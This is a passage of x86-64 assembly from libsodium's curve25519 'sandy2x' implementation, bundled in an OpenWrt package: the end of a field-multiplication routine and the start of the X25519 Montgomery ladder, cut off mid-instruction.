32(%rsi),%rax mulq 0(%rcx) add %rax,%rbx adc %rdx,%rbp movq 72(%rsp),%rax mulq 16(%rcx) add %rax,%r10 adc %rdx,%r11 movq 72(%rsp),%rax mulq 24(%rcx) add %rax,%r12 adc %rdx,%r13 movq 72(%rsp),%rax mulq 32(%rcx) add %rax,%r14 adc %rdx,%r15 movq REDMASK51(%rip),%rsi shld $13,%r8,%r9 and %rsi,%r8 shld $13,%r10,%r11 and %rsi,%r10 add %r9,%r10 shld $13,%r12,%r13 and %rsi,%r12 add %r11,%r12 shld $13,%r14,%r15 and %rsi,%r14 add %r13,%r14 shld $13,%rbx,%rbp and %rsi,%rbx add %r15,%rbx imulq $19,%rbp,%rdx add %rdx,%r8 mov %r8,%rdx shr $51,%rdx add %r10,%rdx mov %rdx,%rcx shr $51,%rdx and %rsi,%r8 add %r12,%rdx mov %rdx,%r9 shr $51,%rdx and %rsi,%rcx add %r14,%rdx mov %rdx,%rax shr $51,%rdx and %rsi,%r9 add %rbx,%rdx mov %rdx,%r10 shr $51,%rdx and %rsi,%rax imulq $19,%rdx,%rdx add %rdx,%r8 and %rsi,%r10 movq %r8,0(%rdi) movq %rcx,8(%rdi) movq %r9,16(%rdi) movq %rax,24(%rdi) movq %r10,32(%rdi) movq 0(%rsp),%r11 movq 8(%rsp),%r12 movq 16(%rsp),%r13 movq 24(%rsp),%r14 movq 32(%rsp),%r15 movq 40(%rsp),%rbx movq 48(%rsp),%rbp add %r11,%rsp mov %rdi,%rax mov %rsi,%rdx ret #endif
281677160/openwrt-package	33,827	luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/ladder.S	#ifdef IN_SANDY2X #include "ladder_namespace.h" #include "consts_namespace.h" .p2align 5 .globl ladder .globl _ladder #ifdef __ELF__ .type ladder, @function .type _ladder, @function #endif ladder: _ladder: mov %rsp,%r11 and $31,%r11 add $1856,%r11 sub %r11,%rsp movq %r11,1824(%rsp) movq %r12,1832(%rsp) movq %r13,1840(%rsp) movq %r14,1848(%rsp) movdqa v0_0(%rip),%xmm0 movdqa v1_0(%rip),%xmm1 movdqu 0(%rdi),%xmm2 movdqa %xmm2,0(%rsp) movdqu 16(%rdi),%xmm2 movdqa %xmm2,16(%rsp) movdqu 32(%rdi),%xmm2 movdqa %xmm2,32(%rsp) movdqu 48(%rdi),%xmm2 movdqa %xmm2,48(%rsp) movdqu 64(%rdi),%xmm2 movdqa %xmm2,64(%rsp) movdqa %xmm1,80(%rsp) movdqa %xmm0,96(%rsp) movdqa %xmm0,112(%rsp) movdqa %xmm0,128(%rsp) movdqa %xmm0,144(%rsp) movdqa %xmm1,%xmm0 pxor %xmm1,%xmm1 pxor %xmm2,%xmm2 pxor %xmm3,%xmm3 pxor %xmm4,%xmm4 pxor %xmm5,%xmm5 pxor %xmm6,%xmm6 pxor %xmm7,%xmm7 pxor %xmm8,%xmm8 pxor %xmm9,%xmm9 movdqu 0(%rdi),%xmm10 movdqa %xmm10,160(%rsp) movdqu 16(%rdi),%xmm10 movdqa %xmm10,176(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,192(%rsp) movdqu 32(%rdi),%xmm10 movdqa %xmm10,208(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,224(%rsp) movdqu 48(%rdi),%xmm10 movdqa %xmm10,240(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,256(%rsp) movdqu 64(%rdi),%xmm10 movdqa %xmm10,272(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,288(%rsp) movdqu 8(%rdi),%xmm10 pmuludq v2_1(%rip),%xmm10 movdqa %xmm10,304(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,320(%rsp) movdqu 24(%rdi),%xmm10 pmuludq v2_1(%rip),%xmm10 movdqa %xmm10,336(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,352(%rsp) movdqu 40(%rdi),%xmm10 pmuludq v2_1(%rip),%xmm10 movdqa %xmm10,368(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,384(%rsp) movdqu 56(%rdi),%xmm10 pmuludq v2_1(%rip),%xmm10 movdqa %xmm10,400(%rsp) pmuludq v19_19(%rip),%xmm10 movdqa %xmm10,416(%rsp) movdqu 0(%rdi),%xmm10 movdqu 64(%rdi),%xmm11 blendps $12, %xmm11, %xmm10 pshufd $2,%xmm10,%xmm10 pmuludq v38_1(%rip),%xmm10 movdqa %xmm10,432(%rsp) movq 0(%rsi),%rdx movq 8(%rsi),%rcx movq 16(%rsi),%r8 movq 24(%rsi),%r9 shrd $1,%rcx,%rdx shrd $1,%r8,%rcx shrd $1,%r9,%r8 shr $1,%r9 xorq 0(%rsi),%rdx xorq 8(%rsi),%rcx xorq 16(%rsi),%r8 xorq 24(%rsi),%r9 leaq 800(%rsp),%rsi mov $64,%rax ._ladder_small_loop: mov %rdx,%r10 mov %rcx,%r11 mov %r8,%r12 mov %r9,%r13 shr $1,%rdx shr $1,%rcx shr $1,%r8 shr $1,%r9 and $1,%r10d and $1,%r11d and $1,%r12d and $1,%r13d neg %r10 neg %r11 neg %r12 neg %r13 movl %r10d,0(%rsi) movl %r11d,256(%rsi) movl %r12d,512(%rsi) movl %r13d,768(%rsi) add $4,%rsi sub $1,%rax jne ._ladder_small_loop mov $255,%rdx add $760,%rsi ._ladder_loop: sub $1,%rdx vbroadcastss 0(%rsi),%xmm10 sub $4,%rsi movdqa 0(%rsp),%xmm11 movdqa 80(%rsp),%xmm12 vpxor %xmm11,%xmm0,%xmm13 pand %xmm10,%xmm13 pxor %xmm13,%xmm0 pxor %xmm13,%xmm11 vpxor %xmm12,%xmm1,%xmm13 pand %xmm10,%xmm13 pxor %xmm13,%xmm1 pxor %xmm13,%xmm12 movdqa 16(%rsp),%xmm13 movdqa 96(%rsp),%xmm14 vpxor %xmm13,%xmm2,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm2 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm3,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm3 pxor %xmm15,%xmm14 movdqa %xmm13,0(%rsp) movdqa %xmm14,16(%rsp) movdqa 32(%rsp),%xmm13 movdqa 112(%rsp),%xmm14 vpxor %xmm13,%xmm4,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm4 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm5,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm5 pxor %xmm15,%xmm14 movdqa %xmm13,32(%rsp) movdqa %xmm14,80(%rsp) movdqa 48(%rsp),%xmm13 movdqa 128(%rsp),%xmm14 vpxor %xmm13,%xmm6,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm6 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm7,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm7 pxor %xmm15,%xmm14 movdqa %xmm13,48(%rsp) movdqa %xmm14,96(%rsp) movdqa 64(%rsp),%xmm13 movdqa 144(%rsp),%xmm14 vpxor %xmm13,%xmm8,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm8 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm9,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm9 pxor %xmm15,%xmm14 movdqa %xmm13,64(%rsp) movdqa %xmm14,112(%rsp) vpaddq subc0(%rip),%xmm11,%xmm10 psubq %xmm12,%xmm10 paddq %xmm12,%xmm11 vpunpckhqdq %xmm10,%xmm11,%xmm12 vpunpcklqdq %xmm10,%xmm11,%xmm10 vpaddq %xmm1,%xmm0,%xmm11 paddq subc0(%rip),%xmm0 psubq %xmm1,%xmm0 vpunpckhqdq %xmm11,%xmm0,%xmm1 vpunpcklqdq %xmm11,%xmm0,%xmm0 vpmuludq %xmm0,%xmm10,%xmm11 vpmuludq %xmm1,%xmm10,%xmm13 movdqa %xmm1,128(%rsp) paddq %xmm1,%xmm1 vpmuludq %xmm0,%xmm12,%xmm14 movdqa %xmm0,144(%rsp) paddq %xmm14,%xmm13 vpmuludq %xmm1,%xmm12,%xmm0 movdqa %xmm1,448(%rsp) vpaddq %xmm3,%xmm2,%xmm1 paddq subc2(%rip),%xmm2 psubq %xmm3,%xmm2 vpunpckhqdq %xmm1,%xmm2,%xmm3 vpunpcklqdq %xmm1,%xmm2,%xmm1 vpmuludq %xmm1,%xmm10,%xmm2 paddq %xmm2,%xmm0 vpmuludq %xmm3,%xmm10,%xmm2 movdqa %xmm3,464(%rsp) paddq %xmm3,%xmm3 vpmuludq %xmm1,%xmm12,%xmm14 movdqa %xmm1,480(%rsp) paddq %xmm14,%xmm2 vpmuludq %xmm3,%xmm12,%xmm1 movdqa %xmm3,496(%rsp) vpaddq %xmm5,%xmm4,%xmm3 paddq subc2(%rip),%xmm4 psubq %xmm5,%xmm4 vpunpckhqdq %xmm3,%xmm4,%xmm5 vpunpcklqdq %xmm3,%xmm4,%xmm3 vpmuludq %xmm3,%xmm10,%xmm4 paddq %xmm4,%xmm1 vpmuludq %xmm5,%xmm10,%xmm4 movdqa %xmm5,512(%rsp) paddq %xmm5,%xmm5 vpmuludq %xmm3,%xmm12,%xmm14 movdqa %xmm3,528(%rsp) paddq %xmm14,%xmm4 vpaddq %xmm7,%xmm6,%xmm3 paddq subc2(%rip),%xmm6 psubq %xmm7,%xmm6 vpunpckhqdq %xmm3,%xmm6,%xmm7 vpunpcklqdq %xmm3,%xmm6,%xmm3 vpmuludq %xmm3,%xmm10,%xmm6 vpmuludq %xmm5,%xmm12,%xmm14 movdqa %xmm5,544(%rsp) pmuludq v19_19(%rip),%xmm5 movdqa %xmm5,560(%rsp) paddq %xmm14,%xmm6 vpmuludq %xmm7,%xmm10,%xmm5 movdqa %xmm7,576(%rsp) paddq %xmm7,%xmm7 vpmuludq %xmm3,%xmm12,%xmm14 movdqa %xmm3,592(%rsp) paddq %xmm14,%xmm5 pmuludq v19_19(%rip),%xmm3 movdqa %xmm3,608(%rsp) vpaddq %xmm9,%xmm8,%xmm3 paddq subc2(%rip),%xmm8 psubq %xmm9,%xmm8 vpunpckhqdq %xmm3,%xmm8,%xmm9 vpunpcklqdq %xmm3,%xmm8,%xmm3 movdqa %xmm3,624(%rsp) vpmuludq %xmm7,%xmm12,%xmm8 movdqa %xmm7,640(%rsp) pmuludq v19_19(%rip),%xmm7 movdqa %xmm7,656(%rsp) vpmuludq %xmm3,%xmm10,%xmm7 paddq %xmm7,%xmm8 vpmuludq %xmm9,%xmm10,%xmm7 movdqa %xmm9,672(%rsp) paddq %xmm9,%xmm9 vpmuludq %xmm3,%xmm12,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 movdqa %xmm3,688(%rsp) pmuludq v19_19(%rip),%xmm12 vpmuludq %xmm9,%xmm12,%xmm3 movdqa %xmm9,704(%rsp) paddq %xmm3,%xmm11 movdqa 0(%rsp),%xmm3 movdqa 16(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 480(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 464(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 528(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 512(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 592(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 576(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 624(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 pmuludq 672(%rsp),%xmm3 paddq %xmm3,%xmm13 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 448(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 480(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 496(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 528(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 544(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 592(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 640(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 624(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 pmuludq 704(%rsp),%xmm9 paddq %xmm9,%xmm0 movdqa 32(%rsp),%xmm3 movdqa 80(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 480(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 464(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 528(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 512(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 592(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 576(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 624(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 pmuludq 672(%rsp),%xmm3 paddq %xmm3,%xmm2 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 448(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 480(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 496(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 528(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 544(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 592(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 640(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 624(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 pmuludq 704(%rsp),%xmm9 paddq %xmm9,%xmm1 movdqa 48(%rsp),%xmm3 movdqa 96(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 480(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 464(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 528(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 512(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 592(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 576(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 624(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 pmuludq 672(%rsp),%xmm3 paddq %xmm3,%xmm4 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 448(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 480(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 496(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 528(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 544(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 592(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 640(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 624(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 pmuludq 704(%rsp),%xmm9 paddq %xmm9,%xmm6 movdqa 64(%rsp),%xmm3 movdqa 112(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 480(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 464(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 528(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 512(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 592(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 576(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 624(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 pmuludq 672(%rsp),%xmm3 paddq %xmm3,%xmm5 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 448(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 480(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 496(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 528(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 544(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 592(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 640(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 624(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 pmuludq 704(%rsp),%xmm9 paddq %xmm9,%xmm8 vpsrlq $25,%xmm4,%xmm3 paddq %xmm3,%xmm6 pand m25(%rip),%xmm4 vpsrlq $26,%xmm11,%xmm3 paddq %xmm3,%xmm13 pand m26(%rip),%xmm11 vpsrlq $26,%xmm6,%xmm3 paddq %xmm3,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm13,%xmm3 paddq %xmm3,%xmm0 pand m25(%rip),%xmm13 vpsrlq $25,%xmm5,%xmm3 paddq %xmm3,%xmm8 pand m25(%rip),%xmm5 vpsrlq $26,%xmm0,%xmm3 paddq %xmm3,%xmm2 pand m26(%rip),%xmm0 vpsrlq $26,%xmm8,%xmm3 paddq %xmm3,%xmm7 pand m26(%rip),%xmm8 vpsrlq $25,%xmm2,%xmm3 paddq %xmm3,%xmm1 pand m25(%rip),%xmm2 vpsrlq $25,%xmm7,%xmm3 vpsllq $4,%xmm3,%xmm9 paddq %xmm3,%xmm11 psllq $1,%xmm3 paddq %xmm3,%xmm9 paddq %xmm9,%xmm11 pand m25(%rip),%xmm7 vpsrlq $26,%xmm1,%xmm3 paddq %xmm3,%xmm4 pand m26(%rip),%xmm1 vpsrlq $26,%xmm11,%xmm3 paddq %xmm3,%xmm13 pand m26(%rip),%xmm11 vpsrlq $25,%xmm4,%xmm3 paddq %xmm3,%xmm6 pand m25(%rip),%xmm4 vpunpcklqdq %xmm13,%xmm11,%xmm3 vpunpckhqdq %xmm13,%xmm11,%xmm9 vpaddq subc0(%rip),%xmm9,%xmm10 psubq %xmm3,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm3,%xmm10,%xmm9 punpcklqdq %xmm3,%xmm10 vpmuludq %xmm10,%xmm10,%xmm3 paddq %xmm10,%xmm10 vpmuludq %xmm9,%xmm10,%xmm11 vpunpcklqdq %xmm2,%xmm0,%xmm12 vpunpckhqdq %xmm2,%xmm0,%xmm0 vpaddq subc2(%rip),%xmm0,%xmm2 psubq %xmm12,%xmm2 paddq %xmm0,%xmm12 vpunpckhqdq %xmm12,%xmm2,%xmm0 punpcklqdq %xmm12,%xmm2 vpmuludq %xmm2,%xmm10,%xmm12 vpaddq %xmm9,%xmm9,%xmm13 vpmuludq %xmm13,%xmm9,%xmm9 paddq %xmm9,%xmm12 vpmuludq %xmm0,%xmm10,%xmm9 vpmuludq %xmm2,%xmm13,%xmm14 paddq %xmm14,%xmm9 vpunpcklqdq %xmm4,%xmm1,%xmm14 vpunpckhqdq %xmm4,%xmm1,%xmm1 vpaddq subc2(%rip),%xmm1,%xmm4 psubq %xmm14,%xmm4 paddq %xmm1,%xmm14 vpunpckhqdq %xmm14,%xmm4,%xmm1 punpcklqdq %xmm14,%xmm4 movdqa %xmm1,0(%rsp) paddq %xmm1,%xmm1 movdqa %xmm1,16(%rsp) pmuludq v19_19(%rip),%xmm1 movdqa %xmm1,32(%rsp) vpmuludq %xmm4,%xmm10,%xmm1 vpmuludq %xmm2,%xmm2,%xmm14 paddq %xmm14,%xmm1 vpmuludq 0(%rsp),%xmm10,%xmm14 vpmuludq %xmm4,%xmm13,%xmm15 paddq %xmm15,%xmm14 vpunpcklqdq %xmm5,%xmm6,%xmm15 vpunpckhqdq %xmm5,%xmm6,%xmm5 vpaddq subc2(%rip),%xmm5,%xmm6 psubq %xmm15,%xmm6 paddq %xmm5,%xmm15 vpunpckhqdq %xmm15,%xmm6,%xmm5 punpcklqdq %xmm15,%xmm6 movdqa %xmm6,48(%rsp) pmuludq v19_19(%rip),%xmm6 movdqa %xmm6,64(%rsp) movdqa %xmm5,80(%rsp) pmuludq v38_38(%rip),%xmm5 movdqa %xmm5,96(%rsp) vpmuludq 48(%rsp),%xmm10,%xmm5 vpaddq %xmm0,%xmm0,%xmm6 vpmuludq %xmm6,%xmm0,%xmm0 paddq %xmm0,%xmm5 vpmuludq 80(%rsp),%xmm10,%xmm0 vpmuludq %xmm4,%xmm6,%xmm15 paddq %xmm15,%xmm0 vpmuludq %xmm6,%xmm13,%xmm15 paddq %xmm15,%xmm1 vpmuludq %xmm6,%xmm2,%xmm15 paddq %xmm15,%xmm14 vpunpcklqdq %xmm7,%xmm8,%xmm15 vpunpckhqdq %xmm7,%xmm8,%xmm7 vpaddq subc2(%rip),%xmm7,%xmm8 psubq %xmm15,%xmm8 paddq %xmm7,%xmm15 vpunpckhqdq %xmm15,%xmm8,%xmm7 punpcklqdq %xmm15,%xmm8 movdqa %xmm8,112(%rsp) pmuludq v19_19(%rip),%xmm8 movdqa %xmm8,448(%rsp) vpmuludq 112(%rsp),%xmm10,%xmm8 vpmuludq %xmm7,%xmm10,%xmm10 vpmuludq v38_38(%rip),%xmm7,%xmm15 vpmuludq %xmm15,%xmm7,%xmm7 paddq %xmm7,%xmm8 vpmuludq %xmm15,%xmm13,%xmm7 paddq %xmm7,%xmm3 vpmuludq %xmm15,%xmm2,%xmm7 paddq %xmm7,%xmm11 vpmuludq 80(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm7 paddq %xmm7,%xmm8 vpmuludq 16(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm5 vpmuludq 48(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm0 vpmuludq 112(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm10 vpmuludq %xmm15,%xmm6,%xmm7 paddq %xmm7,%xmm12 vpmuludq %xmm15,%xmm4,%xmm7 paddq %xmm7,%xmm9 vpaddq %xmm2,%xmm2,%xmm2 vpmuludq %xmm4,%xmm2,%xmm7 paddq %xmm7,%xmm5 vpmuludq 448(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm3 vpmuludq 448(%rsp),%xmm6,%xmm7 paddq %xmm7,%xmm11 vpmuludq 0(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm0 vpmuludq 48(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm8 vpmuludq 80(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm10 vpmuludq 96(%rsp),%xmm4,%xmm2 paddq %xmm2,%xmm11 vpmuludq %xmm4,%xmm4,%xmm2 paddq %xmm2,%xmm8 vpaddq %xmm4,%xmm4,%xmm2 vpmuludq 448(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm12 vpmuludq 16(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm1 vpmuludq 48(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm14 vpmuludq 96(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm3 movdqa 16(%rsp),%xmm4 pmuludq 448(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 16(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm8 vpmuludq 48(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm10 vpmuludq 80(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm4 paddq %xmm4,%xmm5 vpmuludq 112(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm0 movdqa 48(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 448(%rsp),%xmm4 paddq %xmm4,%xmm1 movdqa 80(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 448(%rsp),%xmm4 paddq %xmm4,%xmm14 vpmuludq 64(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm3 movdqa 16(%rsp),%xmm4 pmuludq 64(%rsp),%xmm4 paddq %xmm4,%xmm11 movdqa 16(%rsp),%xmm4 pmuludq 96(%rsp),%xmm4 paddq %xmm4,%xmm12 movdqa 48(%rsp),%xmm4 pmuludq 96(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 0(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm10 movdqa 32(%rsp),%xmm2 pmuludq 0(%rsp),%xmm2 paddq %xmm2,%xmm3 movdqa 64(%rsp),%xmm2 pmuludq 48(%rsp),%xmm2 paddq %xmm2,%xmm12 movdqa 96(%rsp),%xmm2 pmuludq 80(%rsp),%xmm2 paddq %xmm2,%xmm1 movdqa 448(%rsp),%xmm2 pmuludq 112(%rsp),%xmm2 paddq %xmm2,%xmm5 vpsrlq $26,%xmm3,%xmm2 paddq %xmm2,%xmm11 pand m26(%rip),%xmm3 vpsrlq $25,%xmm14,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm14 vpsrlq $25,%xmm11,%xmm2 paddq %xmm2,%xmm12 pand m25(%rip),%xmm11 vpsrlq $26,%xmm5,%xmm2 paddq %xmm2,%xmm0 pand m26(%rip),%xmm5 vpsrlq $26,%xmm12,%xmm2 paddq %xmm2,%xmm9 pand m26(%rip),%xmm12 vpsrlq $25,%xmm0,%xmm2 paddq %xmm2,%xmm8 pand m25(%rip),%xmm0 vpsrlq $25,%xmm9,%xmm2 paddq %xmm2,%xmm1 pand m25(%rip),%xmm9 vpsrlq $26,%xmm8,%xmm2 paddq %xmm2,%xmm10 pand m26(%rip),%xmm8 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm14 pand m26(%rip),%xmm1 vpsrlq $25,%xmm10,%xmm2 vpsllq $4,%xmm2,%xmm4 paddq %xmm2,%xmm3 psllq $1,%xmm2 paddq %xmm2,%xmm4 paddq %xmm4,%xmm3 pand m25(%rip),%xmm10 vpsrlq $25,%xmm14,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm14 vpsrlq $26,%xmm3,%xmm2 paddq %xmm2,%xmm11 pand m26(%rip),%xmm3 vpunpckhqdq %xmm11,%xmm3,%xmm2 movdqa %xmm2,0(%rsp) pshufd $0,%xmm3,%xmm2 pshufd $0,%xmm11,%xmm3 vpmuludq 160(%rsp),%xmm2,%xmm4 vpmuludq 432(%rsp),%xmm3,%xmm6 paddq %xmm6,%xmm4 vpmuludq 176(%rsp),%xmm2,%xmm6 vpmuludq 304(%rsp),%xmm3,%xmm7 paddq %xmm7,%xmm6 vpmuludq 208(%rsp),%xmm2,%xmm7 vpmuludq 336(%rsp),%xmm3,%xmm11 paddq %xmm11,%xmm7 vpmuludq 240(%rsp),%xmm2,%xmm11 vpmuludq 368(%rsp),%xmm3,%xmm13 paddq %xmm13,%xmm11 vpmuludq 272(%rsp),%xmm2,%xmm2 vpmuludq 400(%rsp),%xmm3,%xmm3 paddq %xmm3,%xmm2 vpunpckhqdq %xmm9,%xmm12,%xmm3 movdqa %xmm3,16(%rsp) pshufd $0,%xmm12,%xmm3 pshufd $0,%xmm9,%xmm9 vpmuludq 288(%rsp),%xmm3,%xmm12 paddq %xmm12,%xmm4 vpmuludq 416(%rsp),%xmm9,%xmm12 paddq %xmm12,%xmm4 vpmuludq 160(%rsp),%xmm3,%xmm12 paddq %xmm12,%xmm6 vpmuludq 432(%rsp),%xmm9,%xmm12 paddq %xmm12,%xmm6 vpmuludq 176(%rsp),%xmm3,%xmm12 paddq %xmm12,%xmm7 vpmuludq 304(%rsp),%xmm9,%xmm12 paddq %xmm12,%xmm7 vpmuludq 